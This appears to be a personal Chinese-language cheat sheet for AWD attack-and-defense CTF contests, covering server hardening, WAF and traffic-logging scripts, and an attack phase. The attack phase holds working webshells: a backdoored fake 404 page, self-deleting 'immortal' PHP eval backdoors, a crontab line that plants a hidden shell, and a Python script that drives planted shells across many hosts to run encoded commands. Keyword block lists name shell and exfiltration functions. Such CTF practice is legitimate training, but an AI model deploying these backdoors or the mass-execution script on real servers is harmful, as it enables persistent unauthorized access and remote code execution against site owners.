前言
个人总结的一点东西和脚本
参考:
https://blog.csdn.net/ConlinderFeng/article/details/108897028
https://natro92.fun/posts/85a783d6/
https://libestor.top/%e5%ae%89%e6%b4%b52022awd-java%e5%88%86%e6%9e%90/
https://rmb122.com/2019/04/04/%E5%B9%B2%E6%8E%89-PHP-%E4%B8%8D%E6%AD%BB%E9%A9%AC/
https://www.viewofthai.link/2023/08/04/ciscn2023-%e5%9b%bd%e8%b5%9b-awd-final-wp/
思路
两种awd模式:一种是传统awd(bugku的awd),另一种是flag server(NSS的awd)
- ssh连上靶机(命令行 or vscode or windterm or Xshell 等等),打包备份源码、数据库(可以用 navicat 走 ssh)到本地(如果有)
- 直接扔源码到d盾里扫,如果自带后门那就删掉,同时准备编写批量后门脚本利用
- 代码审计,先找文件上传 or 文件包含 or 文件读取的点
- 前后台账密,是否有可以直接利用的点
加固阶段
部署ssh连接
常规情况
ssh glzjin@127.0.0.1:22
离线连接vscode
参考:
https://zhuanlan.zhihu.com/p/294933020
https://blog.csdn.net/weixin_50035676/article/details/139071299
在服务器不通外网的情况下(长城杯吃了这个亏),我们的 vscode 连不上自己的靶机
失败的尝试:
这个时候需要采用离线安装的方式手动下载vscode-server-linux-x64.tar.gz
先在 帮助—关于 这里查看 commit id
https://update.code.visualstudio.com/commit:e170252f762678dec6ca2cc69aba1570769a5d39/server-linux-x64/stable
https://update.code.visualstudio.com/commit:f1a4fb101478ce6ec82fe9627c43efbf9e98c813/cli-alpine-x64/stable
(注意把:${commit_id}替换成对应的Commit ID)
然后运行下面的命令,建立$HOME/.vscode-server/bin
文件夹。
commit_id=f1a4fb101478ce6ec82fe9627c43efbf9e98c813
mkdir -p ~/.vscode-server/bin/${commit_id}
然后将 vscode-server-linux-x64.tar.gz 上传在服务器上的$HOME/.vscode-server/bin
文件夹中,解压
cd ~/.vscode-server/bin
tar -xvzf vscode-server-linux-x64.tar.gz -C ~/.vscode-server/bin/${commit_id} --strip 1
touch ~/.vscode-server/bin/${commit_id}/0
mv vscode-server-linux-x64 e170252f762678dec6ca2cc69aba1570769a5d39 # 注意把:${commit_id}替换成对应的Commit ID
但是线下实际操作的时候发现依旧无法验证
还有一种办法,提前在虚拟机里面装好,然后打包给靶机
cd ~/.vscode-server/
tar -czvf /tmp/vscode-server.tar.gz *
解压到内网靶机上
mkdir ~/.vscode-server
tar -xvzf vscode-server.tar.gz -C ~/.vscode-server/
然后应该就能正常连接了(
一把梭(Error)
#!/bin/sh
webapp="/var/www/html"
echo "########################################################################################################################################################################################################"
echo "备份源码..."
target_folder="/tmp/web.tar"
source_folders="/var/www/html"
if [ -f "$target_folder" ]; then
echo "目标压缩文件已存在: $target_folder"
else
echo "执行压缩命令..."
tar -cvf "$target_folder" "$source_folders"
fi
##############################################
exclude_files="LICENSE"
exclude="*.js *.sh info.txt *.map *.so.* *.so *.tar *.zip"
exclude_dirs=""
for dir in $exclude_files; do
exclude_dirs="$exclude_dirs --exclude-dir=$dir"
done
exclude_files_arg=""
for ext in $exclude; do
exclude_files_arg="$exclude_files_arg --exclude=$ext"
done
echo "查后门..."
{
echo "------疑似预留eval后门------"
grep -rnw '.' -e "eval" $exclude_dirs $exclude_files_arg
echo "------疑似预留system后门------"
grep -rnw '.' -e "system" $exclude_dirs $exclude_files_arg
echo "------预留poc:------"
grep -rnw '.' -e "\$poc" $exclude_dirs $exclude_files_arg
} > /tmp/vuln.txt
echo
##############################################
echo "上waf..."
waf="<?php
\$pattern = \"/\b(?:call_user_func|call_user_func_array|array_map|array_filter|ob_start|phpinfo|eval|assert|passthru|pcntl_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|ob_start|echo|file_put_contents)\b/i\";
foreach (\$_GET as \$param) {
if (preg_match(\$pattern, \$param) == 1 || strpos(\$param, \"\`\") !== false) {
die('flag{You shall die!}');
}
}
foreach (\$_POST as \$param) {
if (preg_match(\$pattern, \$param) == 1 || strpos(\$param, \"\`\") !== false) {
die('flag{You shall die!}');
}
}
?>"
if [ ! -f "RCEw4f.php" ]; then
echo "$waf" > "RCEw4f.php"
find "$webapp" -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('$webapp\/RCEw4f.php');/g" {} +
else
echo "已上waf"
fi
echo
##############################################
echo "上监控..."
Monitor="<?php
\$ip = \$_SERVER[\"REMOTE_ADDR\"];
\$filename = \$_SERVER['PHP_SELF'];
\$parameter = \$_SERVER[\"QUERY_STRING\"];
\$method = \$_SERVER['REQUEST_METHOD'];
\$uri = \$_SERVER['REQUEST_URI'];
\$time = date('Y-m-d H:i:s', time());
\$post = file_get_contents(\"php://input\", 'r');
\$others = '...其他你想得到的信息...';
\$logadd = 'Visit Time:'.\$time.' '.'Visit IP:'.\$ip.\"\\r\\n\".'RequestURI:'.\$uri.' '.\$parameter.'RequestMethod:'.\$method.\"\\r\\n\";
\$fh = fopen(\"/tmp/log.txt\", \"a+\");
fwrite(\$fh, \$logadd);
fwrite(\$fh, print_r(\$_COOKIE, true).\"\\r\\n\");
fwrite(\$fh, \$post.\"\\r\\n\");
fwrite(\$fh, \$others.\"\\r\\n\");
fclose(\$fh);
?>"
if [ ! -f "phpMonitor.php" ]; then
echo "$Monitor" > phpMonitor.php
find "$webapp" -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('$webapp\/phpMonitor.php');/g" {} +
else
echo "已上监控"
fi
echo
##############################################
echo "进程信息:"
ps -aux #| grep 'www-data'
echo
echo "可写目录检查:"
find / -type d -perm -002 2>/dev/null
echo
##############################################
靶机信息
uname -a #系统信息
ps -aux -ps -ef #进程信息
id #用于显示用户ID,以及所属群组ID
netstat -ano/-a #查看端口情况
cat /etc/passwd #用户情况
ls /home/ #用户情况
find / -type d -perm -002 2>/dev/null #可写目录检查
grep -r “flag” /var/www/html/ #查找flag
php -i | grep "php.ini" #查php配置文件
备份
源码备份
网站源码打包(路径视具体情况确定):
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
tar -cvf /tmp/web.tar.gz /opt/tomcat/webapps/ #java tomcat
tar -cvf /tmp/web.tar /app
备份到其它位置
mv web.tar /tmp
mv web.zip /home/xxx
文件上传、下载(其实直接用Xshell这种就可以直接上传下载)
scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器
检查备份:
find /var/www/html/ -name "*.tar"
find /var/www/html/ -name "*.zip"
数据库备份
数据库配置信息一般可以通过如 config.php/web.conf 等文件获取,以MySQL为例
备份指定数据库
mysqldump -uroot -p334cc35b3c704593 databasename > bak.sql
备份所有数据库
mysqldump -uroot -p334cc35b3c704593 --all-databases > bak.sql
导入数据库
mysql -uroot -p334cc35b3c704593 databasename < bak.sql
数据库登录
mysql -udb_user -pdb_passwd
数据库操作:
create database db_name;
恢复&源码更新
PHP
tar -xvf web.tar -C /var/www/html
unzip web.zip -d /var/www/html #如果有unzip
cp /tmp/xxx.php /var/www/html/xxx.php && chmod 777 /var/www/html/xxx.php
Java
java的web程序运行通常都是使用jar包和war包来运行的,通常情况下的运行指令为:
java -jar awd.jar
java -war awd.war
jar包(war包也一样)本质是一种压缩文件,里面包含了从java编译到class的java文件已经程序运行的常规文件,是可以直接使用zip解压得到里面的内容,不过由于java已经编译了,所以需要工具/方法进行反序列化操作,得到原本的文件后我们才方便后面的操作
反编译的操作这里就不多提了,jdgui,jadx,IDEA都可以做到
反编译的文件组成:
- META-INF(war包里是WEB-INF):文件的元数据,里面存放的是pom.xml文件和jar包的描述文件,对我们来说取出pom文件就可以了
- BOOT-INF:这个文件夹是存放主要的java文件的,里面包含java的配置文件和源码文件。其中 classes 文件夹是包含源码文件配置文件的,lib 文件夹存放依赖文件,classpath.idx 是用来指明 classpath 的,我们需要将classes中的 com 文件夹放到项目文件的java文件夹中,其他文件放到 resources 文件夹中
- org:spring boot的驱动文件
构建项目
在AWD中需要修补漏洞,这时候就需要将代码重新生成成一个完整的java项目,然后进行找洞,补洞
这里只需要创建一个简单的maven项目,将之前的反编译后得到的pom.xml(位于META-INF中)替换进去,然后将我们反编译后java文件和其他文件放到其中即可
src下的目录:
- lib:java中需要的依赖文件
- main
- java:java源码
- resources:java源码中的配置或者网站静态资源
重新打包
参考:https://natro92.fun/posts/82174079/
maven打包:maven直接有打包的操作,需要在pom.xml中写入打包类型是jar还是war,然后就可以通过package进行打包,在IDEA中直接点击即可,然后就可以在target中找到所打包的jar包了
IDEA打包:
在idea的项目结构
中选择 工件
然后选择新建一个jar包,之后选择具有依赖的模块
然后选择文件,选择主类,之后是选择生成 META-INFO 的位置(测试的时候发现,修改到src目录,可以打包进jar中,不然最后的结果都是没有META文件报错)
选择完路径后点击确定退出即可,然后选择构建
,构建工件
,构建
即可在out中找到jar包(默认的话)
更新靶机源码
上传,解压jar/war后在对应的xxx.class目录下
javac -cp C:...\lib;C:...\lib-provided xxx.java
支持热加载.class:
cp xxx.class /opt/tomcat/webapps/WEB-INF/classes/com/.../
不支持热加载(如以jar包启动的话):
用bandzip打开jar直接替换里面的.class文件,把靶机上的jar替换掉,kill掉现有进程重新启动(要记录原有的启动命令,
ps -aux|grep jar或者cat /proc/{PID}/cmdline
)
MySQL
mysql命令行下操作:
use db_name;
source /tmp/bak.sql
mysql -udb_user -pdb_passwd db_name< /tmp/bak.sql
修改口令
ssh口令修改:
passwd username
MySQL数据库密码修改:
set password for mycms@localhost = password('123');
mysqladmin -uroot -ppassword ''
修改完数据库密码记得也要修改网站配置文件中的数据库配置信息
find /var/www/html -path '*config*' #查找配置文件中的密码凭证
网站后台的口令也要记得修改
应用发现
服务
寻找自身是 nginx 还是 apache 搭建的,并寻找出目录
find / -name "nginx.conf" 2>/dev/null #定位nginx目录
find / -path "*nginx*" -name nginx*conf #定位nginx配置目录
find / -name "httpd.conf" 2>/dev/null #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录
网站
find / -name "index.php" 2>/dev/null
find / -iname tomcat #找java网站目录
日志
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/local/apache2/logs #可能Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log #实时刷新滚动日志文件
查看访问量前十的链接:(本地测试的时候发现没权限)
cat /var/log/apache2/access.log |awk '{print $7}'|sort|uniq -c| sort -r|head
监控
awd里最有用的部分,不会打?别人的流量教你打!
日志监控(Failed)
这个脚本需要装pyinotify库,不通外网的环境下应该装不了
可将其使用pyinstaller
打包为elf执行,但是实际情况还要考虑到靶机的glibc版本是否匹配。。
#coding=utf-8
##Author: 7i4n2h3n9 & EDS
##Team: Polar Day Cyberspace Security LAB
import os
import sys
import re
import pyinotify
# Set Log Path
def setHttpserver():
print('Please set the log path of HTTPserver')
logDir = input('Please input the path:')
if os.path.isfile(logDir):
return logDir
else:
print('File does not exist!')
print('Exit the program......')
sys.exit
class EventHandler(pyinotify.ProcessEvent):
def __init__(self, file_path, *args, **kwargs):
super(EventHandler, self).__init__(*args, **kwargs)
self.file_path = file_path
self._last_position = 0
logpats = r'((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}'
self._logpat = re.compile(logpats)
def process_IN_MODIFY(self, event):
#print("File changed: " + event.pathname)
if self._last_position > os.path.getsize(self.file_path):
self._last_position = 0
with open(self.file_path) as f:
f.seek(self._last_position)
loglines = f.readlines()
self._last_position = f.tell()
groups = (self._logpat.search(line.strip()) for line in loglines)
for g in groups:
if check_Log(g.string):
print(g.string)
def check_Log(strLog):
if re.search('union|eval|alert|update|insert|into|from|create|delete|drop|truncate|rename|desc|charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|sub|substring|oct|reverse|right|unhex|prompt|fwrite|curl|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|whoami|bash|phpinfo|msgbox|select|ord|mid|group|and|flag',strLog,re.I):
return True
else:
return False
def LogMonitor(path):
wm = pyinotify.WatchManager()
mask = pyinotify.IN_MODIFY
handler = EventHandler(path)
notifier = pyinotify.Notifier(wm, handler)
wm.add_watch(handler.file_path, mask)
print('Now Starting Monitor %s' % (path))
while True:
try:
notifier.loop()
except KeyboardInterrupt:
notifier.stop()
break
if __name__ == '__main__' :
logDir = setHttpserver()
LogMonitor(logDir)
文件监控
#!/usr/bin/python
#coding=utf-8
#Usage :python demo.py
#Code by : AdminTony
#QQ : 78941695
#注意:要将此文件放在有读写权限的目录以及所有修改过的php必须在此目录或者该目录的子目录中。
#作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt
import sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():
#command: find -name '*.php' -mmin -10
command = "find -name \'*.php\' -mmin -10"
su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
STDOUT,STDERR = su.communicate()
list = STDOUT.split("\n")
#print str(list)
#将文件处理成list类型然后返回。
return list
#读取文件:
def loadfile(addr):
data = ""
#如果文件不存在就跳出函数
try :
file = open(addr,'r')
data = file.read()
except :
return 0
all_data = addr+"\n"+data+"\n\n"
file1 = open("shell.txt",'a+')
#避免重复写入
try:
shell_content = file1.read()
except:
shell_content = "null"
#如果文件内容不为空再写入,避免写入空的。
#print shell_content
if data :
if all_data not in shell_content:
file1.write(all_data)
file.close()
file1.close()
rm_cmd = "rm -rf "+addr
su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
su.communicate()
print "loadfile over : "+addr
if __name__ == '__main__':
while True:
list = scanfile()
if list :
for i in range(len(list)):
#如果list[i]为空就不读取了
if list[i]:
loadfile(str(list[i]))
else : pass
此时shell.php被改成了shell.txt
php流量监控
<?php
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD']; //请求方法
$uri = $_SERVER['REQUEST_URI']; //请求URI
$time = date('Y-m-d H:i:s',time()); //访问时间
$post = file_get_contents("php://input",'r'); //接收POST数据
$others = '...其他你想得到的信息...';
$logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n";
// log记录
$fh = fopen("/tmp/log.txt", "a+");
fwrite($fh, $logadd);
fwrite($fh, print_r($_COOKIE, true)."\r\n");
fwrite($fh, $post."\r\n");
fwrite($fh, $others."\r\n");
fclose($fh);
?>
<?php
// $path = "/var/www/html/log.txt";
$path = "/var/www/html/log.txt";
$fp = fopen($path,"a+");
$str = "IP ".$_SERVER["REMOTE_ADDR"]." url:".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']." ";
$str .= "Gets:".json_encode($_GET)." POST:".json_encode($_POST)." COOKIE:".json_encode($_COOKIE)."HEADER: ".json_encode($_SERVER)."\r\n";
fwrite($fp, $str);
?>
这种脚本一般放置在CMS的入口文件处,在这些入口的文件里使用require_once()
就可以将监控脚本包含进去,达到流量监控的目的
一些常见的CMS入口地址:
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
也可以每个文件都包含(慎用,可能会出现致命问题)
find /var/www/html -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('\/var\/www\/html\/phpMonitor.php');/g" {} +
Java流量监控
参考:https://github.com/hmt38/java_Laplace_Fluid_Maid
摆烂jar:
直接部署,代替掉题目的服务
java -jar demo.jar
摆烂class:
java源码编译为class,再将class打包进jar包
首先修改package路径,比如说我计划在controller同级目录下新建Myfilter目录,将java文件放于这个路径中,所以package路径就是controller的package/Myfilter
编译
javac -extdirs BOOT-INF/lib/ -classpath BOOT-INF/classes/....package.../Myfilter MyObjectInputStream.java
更新 JAR 包中的指定文件
注意这里的打开目录要和javaweb目录一致,inputfile的目录要符合javawebpath
jar uf ctf-0.0.1-SNAPSHOT.jar BOOT-INF/classes/....package.../Myfilter/MyObjectInputStream.class
前人的轮子
流量监控日志
https://github.com/wupco/weblogger
https://github.com/DasSecurity-Labs/AoiAWD
伪造
404页面
伪造404(注意,PHP 5.5.0 版本中,/e
修饰符就已经被废弃,并且在 PHP 7.0.0 版本中被移除。7.0.0之后的版本/e
修饰符就无法使用了)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');
?>
哦牛批还能这样搞的
alias欺骗
只对shell会话有效,对 webshell/rce 无效
或许可以拿这个玩意写蜜罐(?
alias cat="flag{this_ls_fakall_flag}"
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"
高权限的话可以直接改curl的执行权限
chmod -x curl
删除别名
unalias curl
waf
仿照前面流量监控的方式批量上waf
find /var/www/html -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('\/var\/www\/html\/RCEw4f.php');/g" {} +
SQL注入
PHP:
$filter =
"regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|outfile|dumpfile|load_file|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|is|between|group_concat|like|where|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|\#|-|\"|'|\|";
if((preg_match("/".$filter."/is",$username)== 1) ||(preg_match("/".$filter."/is",$password)== 1)){
die();
}
foreach ($_GET as $param) {
if (preg_match($filter, $param) == 1) {
die('flag{You shall die!}');
}
}
foreach ($_POST as $param) {
if (preg_match($filter, $param) == 1) {
die('flag{You shall die!}');
}
}
Java:
import org.springframework.stereotype.Component;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Enumeration;
@Component
@WebFilter(urlPatterns = "/system/role/list", filterName = "sqlInjectFilter")
public class sqlFilter implements Filter {
public void destroy() {
}
public void init(FilterConfig arg0) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse res, FilterChain
chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
// 获得所有请求参数名
Enumeration params = request.getParameterNames();
String sql = "";
while (params.hasMoreElements()) {
// 得到参数名
String name = params.nextElement().toString();
// 得到参数对应值
String[] value = request.getParameterValues(name);
for (int i = 0; i < value.length; i++) {
sql = sql + value[i];
}
}
if (sqlValidate(sql)) {
throw new IOException("您发送请求中的参数中含有非法字符");
} else {
chain.doFilter(request, response);
}
}
/**
* 参数校验
* @param str
*/
public static boolean sqlValidate(String str) {
str = str.toLowerCase();//统一转为小写
String badStr =
"select|update|and|or|delete|insert|truncate|char|into|substr|ascii|declare|exec|
count|master|into|drop|execute|table";
String[] badStrs = badStr.split("\\|");
for (int i = 0; i < badStrs.length; i++) {
//循环检测,判断在请求参数当中是否包含SQL关键字
if (str.indexOf(badStrs[i]) >= 0) {
return true;
}
}
return false;
}
}
预编译:
$username=$_POST['username'];
$password=$_POST['password'];
$stmt=$conn->prepare("SELECT * FROM users WHERE username=:username AND password=:password");
$stmt->bindParam(':username',$username);
$stmt->bindParam(':password',$password);
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
if($result)
{
echo "登录成功";
}
else
{
echo "用户名或密码错误"
}
String sql = "select * from users where username=? and password=?";
PreparedStatement preparedStatement = conn.prepareStatement(sql);
preparedStatement.setString(1, username);
preparedStatement.setString(2, password);
ResultSet resultSet = preparedStatement.executeQuery();
//Mybatis
@Select({"SELECT * FROM users WHERE username=#{name}"})
public User getUserByName(String name);
文件上传
白名单过滤
PHP:
if (preg_match("/png|jpg|jpeg|gif/is",(substr($_FILES["pic"]["name"], strrpos($_FILES["pic"]["name"], '.')+1)))) { #success } else{ die(); }
Java:
String fileSuffix = fileName.substring(fileName.lastIndexOf(".")); String[] white_suffix = {"gif","jpg","jpeg","png"}; Boolean fsFlag = false; for (String suffix:white_suffix){ if (contentType.equalsIgnoreCase(fileSuffix)){ fsFlag = true; break; } } if (!fsFlag){ die(); }
强制添加后缀名
PHP:
move_uploaded_file($_FILES["pic"]["tmp_name"],"upload/" .$_FILES["pic"]["name"].".gif");
Java:
String filename = file.getOriginalFilename() + ".png";
命令注入
PHP:使用escapeshellarg()
转义shell元字符
RCE
<?php
$pattern = "/\b(?:call_user_func|call_user_func_array|array_map|array_filter|ob_start|phpinfo|eval|assert|passthru|pcntl_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|ob_start|echo|file_put_contents)\b/i";
foreach ($_GET as $param) {
if (preg_match($pattern, $param) == 1 || strpos($param, "`") !== false) {
die('flag{You shall die!}');
}
}
foreach ($_POST as $param) {
if (preg_match($pattern, $param) == 1 || strpos($param, "`") !== false) {
die('flag{You shall die!}');
}
}
?>
反序列化
PHP:
// 限制phar反序列化
$filter = "phar|zip|compress.bzip2|compress.zlib";
if(preg_match("/".$filter."/is",$data)== 1){
die();
}
// 将所有的对象都转换为 __PHP_Incomplete_Class 对象
$data = unserialize($foo, ["allowed_classes" => false]);
Java:重写resolveClass
import java.io.*;
public class myObject Input extends ObjectInputStream{
public myObjectInput(InputStream inputStream) throws IOException{
super(inputStream);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException{
if(!desc.getName().equals("com.xxx")){
throw new InvalidClassException("Unauthorized",desc.getName());
}
return super.resolveClass(desc);
}
}
拉满
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
$time=date("Y-m-d H:i:s");//将时间赋值给变量$time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
find /var/www/html -type f -name "*.php" -exec sed -i "s/<?php/<?php require_once('\/var\/www\/html\/full.php');/g" {} +
防御权限维持
如果无法使用低权限用户修改网站文件时,需要自己给自己上一个马(MD5马),维持www-data权限,方便动态进行文件改动(注意修改文件权限777),如patch等(仅限PHP)
D盾&Seay代码审计
代码审计思路:
命令注入/RCE -> 文件上传/文件包含 -> 反序列化 -> SQL注入 -> 文件读取
攻击阶段
扫描
这一步操作是为了获取其它对手的靶机ip
探测目标存活
import pythonping
from concurrent.futures import ThreadPoolExecutor
def get_ip(ip):
res = pythonping.ping(ip)
if "Reply" in str(res):
print(ip + " 是存活地址")
ip = []
for num in range(1, 255):
ip.append("192-168-1-" + str(num) + ".pvp3830.bugku.cn")
with ThreadPoolExecutor(max_workers=100) as executor:
result = executor.map(get_ip, ip)
Nmap
namp -sn 192.168.0.0/24 #扫描C段主机存活
nmap -sV 192.168.0.2 #扫描主机系统版本
nmap -sS 192.168.0.2 #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2 #扫描主机全部端口
目录扫描
dirsearch秒了
不死马
也是一种内存马
在 Linux 中,文件名以
-
开头的文件在命令行中通常被解释为选项或参数,而不是文件名
于是我们的马的名字可以以-
开头
<?php
ignore_user_abort(true); // 客户机断开依旧执行
set_time_limit(0); // 函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__); // 删除文件本身,以起到隐蔽自身的作用。
$file = '-2.php';
$code = '<?php if(md5($_GET["pass"])=="edee85b6d1da959d5fa73ce6ebde9c72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
// 这是修改生成时间
system('touch -m -d "2017-10-17 10:25:33" .2.php');
usleep(5000);
}
?>
定时任务写马
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'edee85b6d1da959d5fa73ce6ebde9c72\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
命令生成不死马
ps -ax # 显示正在运行的进程
system('while true;do echo \'<?php if(md5($_GET[pass])==\"edee85b6d1da959d5fa73ce6ebde9c72\"){@eval($_GET[a]);} ?>\' >fuck.php;sleep 0.1;done;');
批量生成不死马
#!/usr/bin/python
# coding=utf-8
import sys
import requests
'''
作用:向靶机发命令来写文件,文件名.index1.php
webshell.txt 格式如下:
http://127.0.0.1:80/1110/x.php,xost,x
http://127.0.0.2/1110/xx.php,POST,x
http://127.0.0.3/1011/x.php,get,3
http://192.168.1.155/1110/x.php,post,x
http://127.0.0.1/1110/y.php?pass=Sn3rtf4ck,get,a
'''
def loadfile(filepath):
try:
file = open(filepath, "rb")
return str(file.read())
except:
print("File %s Not Found!" % filepath)
sys.exit()
def cmd(url, method, passwd):
#分割url ip 127.0.0.1:80 Rfile=/1111/x.php?pass=Sn3rtf4ck
try:
url.index("http")
#去除http:// ==> 127.0.0.1:80/1110/x.php
urlstr = url[7:]
lis = urlstr.split("/")
ip = str(lis[0])
Rfile = ""
for i in range(1, len(lis)):
Rfile = Rfile + "/" + str(lis[i])
except:
urlstr = url[8:]
lis = urlstr.split("/")
ip = str(lis[0])
Rfile = ""
for i in range(1, len(lis)):
Rfile = Rfile + "/" + str(lis[i])
try:
res = requests.get(url, timeout=3)
except:
print("[-] %s ERR_CONNECTION_TIMED_OUT" % url)
return 0
if res.status_code != 200:
print("[-] %s Page Not Found!" % url)
return 0
#执行命令 system,exec,passthru,`,shell_exec
#a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
data = {}
if method == 'get':
data[passwd] = '@eval(base64_decode($_GET[z0]));'
data['z0'] = 'c3lzdGVtKCJ3aG9hbWkiKTs='
try:
res = requests.get(url, params=data, timeout=3)
except:
pass
elif method == 'post':
data['pass'] = "Sn3rtf4ck"
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0'] = 'c3lzdGVtKCJ3aG9hbWkiKTs='
try:
res = requests.post(url, data=data, timeout=3)
except:
pass
#检查shell是否存在
list = Rfile.split("/")
b_url = "http://" + ip
max = len(list) - 1
for i in range(1, max):
b_url = b_url + "/" + list[i]
shell_url = b_url + "/.index1.php"
res = requests.get(shell_url, timeout=3)
if res.status_code != 200:
print("[-] %s create shell failed!" % shell_url)
return 0
else:
print('[+] %s succeeded!' % shell_url)
if __name__ == '__main__':
shellstr = loadfile("./webshell.txt")
list = shellstr.split("\r\n")
i = 0
url = {}
passwd = {}
method = {}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp == 'post' or method_tmp == 'get':
url[i] = str(ls[0])
method[i] = method_tmp
passwd[i] = str(ls[2])
i += 1
else:
print("[-] %s request method error!" % (str(ls[0])))
else:
pass
for j in range(len(url)):
#调用执行命令的模块
#print str(j)
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
cmd(url=url[j], method=method[j], passwd=passwd[j])
不死马处理
在自己的shell里杀掉进程重启服务(靶机一般没有权限做不到)、写同名文件夹或者写一个 sleep 时间低于别人的马、或者写脚本不断删除马。
只删掉脚本是没用的,因为 php 执行的时候已经将脚本解释成 opcode 运行。
杀进程,这里是杀掉所有apache2的进程,因为没有root权限所以不用担心服务挂掉
<?php
while (1) {
system("kill `ps -ef | grep apache2 | grep -v grep | awk '{print $2}'`");
usleep(500);
}
写同名文件
